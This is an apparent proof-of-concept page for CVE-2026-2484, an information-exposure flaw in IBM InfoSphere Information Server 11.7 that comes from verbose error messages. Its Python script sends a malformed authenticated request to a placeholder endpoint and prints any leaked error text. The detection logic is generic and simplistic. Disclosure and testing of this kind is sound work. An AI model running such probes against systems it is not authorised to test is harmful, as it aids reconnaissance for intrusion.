IBM InfoSphere Information Server 11.7.0.0 through 11.7.1.6 is affected by an information exposure vulnerability caused by overly verbose error messages
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-2484
# This script demonstrates sending a malformed request to trigger verbose error messages.
import requests
target_url = "http://target-server:port/ibm/iis/endpoint" # Example endpoint
headers = {
"User-Agent": "CVE-2026-2484-Scanner",
"Authorization": "Basic <Base64_Credentials>" # Requires low privilege (PR:L)
}
# Send a request with invalid parameters to trigger the error
payload = {
"invalid_param": "trigger_error_123!!"
}
try:
# Sending POST request to simulate the attack vector
response = requests.post(target_url, headers=headers, data=payload, timeout=10)
# Check if the response contains verbose error information
if response.status_code != 200 and ("error" in response.text.lower() or "exception" in response.text.lower()):
print("[+] Vulnerability Detected!")
print(f"[+] Status Code: {response.status_code}")
print("[+] Verbose Error Information:")
print(response.text)
else:
print("[-] Request did not trigger a verbose error message or target is not vulnerable.")
except Exception as e:
print(f"[!] Error connecting to target: {e}")
